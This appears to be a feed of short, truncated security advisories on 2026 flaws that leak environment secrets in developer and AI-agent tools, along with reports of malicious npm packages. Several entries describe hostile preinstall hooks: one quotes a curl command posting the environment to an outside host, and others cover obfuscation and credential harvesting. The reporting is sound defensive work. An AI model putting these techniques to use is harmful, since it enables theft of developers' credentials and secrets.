EUVD-2026-43182

PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets...

MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

EUVD-2026-93571

Quasar Framework: SSR/SSG dev error page discloses the full shell environment and its escape is bypassable...

CVE-2026-106499

A flaw was found in the Backstage Scaffolder backend. In environments configured with default environment secrets, an authenticated attacker with permissions to create or modify templates can cause secret-derived values to be recorded in task logs. This issue leads to information disclosure,...

CVE-2026-106106

Quasar Framework is a framework for building high-performance Vue.js user interfaces. Prior to @quasar/render-ssr-error 2.2.4 and @quasar/app-vite 3.3.0, renderSSRError in utils/render-ssr-error/src/index.js used diagnostic data from utils/render-ssr-error/src/env.js to serialize process.env,...

MAL-2026-17545 Malicious code in abbishal-poc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...

Malicious code in abbishal-poc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3d3f60fb75143a3cdfedea0c2f185e0556053cd458cd5e76cd5303bf406eb32 On npm install, package.json's preinstall hook runs sh./test.sh, which uses character-split variable obfuscation b=e, i=c, s=n, h=u, a=v, l=rl to...

NPM: Trigger.dev: Trigger CLI debug deployment logs expose resolved environment secret values

NPM: Trigger.dev: Trigger CLI debug deployment logs expose resolved environment secret values vulnerability discovered by ? in WordPress Npm trigger.dev versions = 4.5.8...

Trigger.dev: Trigger CLI debug deployment logs expose resolved environment secret values

Affected version: trigger.dev 4.5.3 4.5.6 was advertised by the CLI but was not tested. A staging dry-run executed with trigger.dev deploy --env staging --dry-run --log-level debug. The debug output logged the complete build-worker options object. Its envVars property contained unredacted values...

MAL-2026-17292 Malicious code in @selfpentest/bin-confusion (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40a68543ca2674f2b90d89dd52516736791b7886d617c694d89dd3135e7499f3 package.json registers a bin entry named npm pointing at npm.js, deliberately colliding with the core npm CLI. Once this package is installed as a...

PT-2026-95706

Name of the Vulnerable Software and Affected Versions microsandbox versions prior to 0.5.10 Description The software serializes NetworkConfig secret values into the --network-config argument and passes per-sandbox secrets through repeated --env arguments within sdk/rust/lib/runtime/spawn.rs and...

Malicious code in @quantixfinance/contracts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 497edc9bba37d0fd2fb3de0fccd537904ae37848535519f4d334c38d8b59d3bf The package's preinstall lifecycle script iterates process.env and filters keys for credential-shaped substrings key, secret, token, pass, mnemonic,...

Omnigent: Unvalidated os_env.cwd in agent bundle yields arbitrary host filesystem access on runners without OMNIGENT_RUNNER_WORKSPACE

Summary An authenticated, non-admin user can obtain arbitrary host-filesystem read/write and host environment-secret disclosure on an Omnigent runner by uploading an agent bundle whose osenv.cwd points outside any intended workspace e.g. / or /home/. The cwd field is taken verbatim from the bundl...

Insertion of Sensitive Information Into Sent Data

Overview Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data exposing process environment values, in getOptionsFromRootManifest.ts, which expands $VAR placeholders in the httpProxy, httpsProxy, and noProxy settings read from a repository-controlle...

PT-2026-99561

Name of the Vulnerable Software and Affected Versions pnpm versions 11.0.0 through 11.10.f pnpm versions 10.7.0 through 10.34.4 Description The software expands $VAR environment-variable placeholders in the httpProxy, httpsProxy, and noProxy settings read from a project's pnpm-workspace.yaml file...

CVE-2026-62677

Omnigent , an open-source AI agent framework for orchestrating coding agents, is vulnerable to arbitrary host filesystem access prior to version 0.3.0. An authenticated user can upload a session-scoped agent bundle with an absolute or traversal-containing os_env.cwd value. The parser (omnigent/sp...

PT-2026-79414

Name of the Vulnerable Software and Affected Versions Omnigent versions prior to 0.3.0 Description An authenticated user can upload a session-scoped agent bundle containing an absolute or traversal-containing os env.cwd value. This occurs because omnigent/spec/parser.py stores the value verbatim...

CVE-2026-73083

Activepieces is an open source AI workflow automation platform. Prior to 0.80.0, in SANDBOXCODEONLY mode, the engine loads the compiled user module with importFresh, a wrapper around Node.js require, before the V8 isolate is applied. Top-level module code can therefore call require'childprocess',...

EUVD-2026-56551

Activepieces is an open source AI workflow automation platform. Prior to 0.80.0, in SANDBOXCODEONLY mode, the engine loads the compiled user module with importFresh, a wrapper around Node.js require, before the V8 isolate is applied. Top-level module code can therefore call require'childprocess',...

CVE-2026-72718

Goose before v1.44.0 is vulnerable: the goose review path runs Git diff with a user-controlled core.fsmonitor config via the repository’s .git/config. This lets an attacker with a malicious repo execute arbitrary commands when git diff runs for touched_files()/collect_diff(), since the context-ga...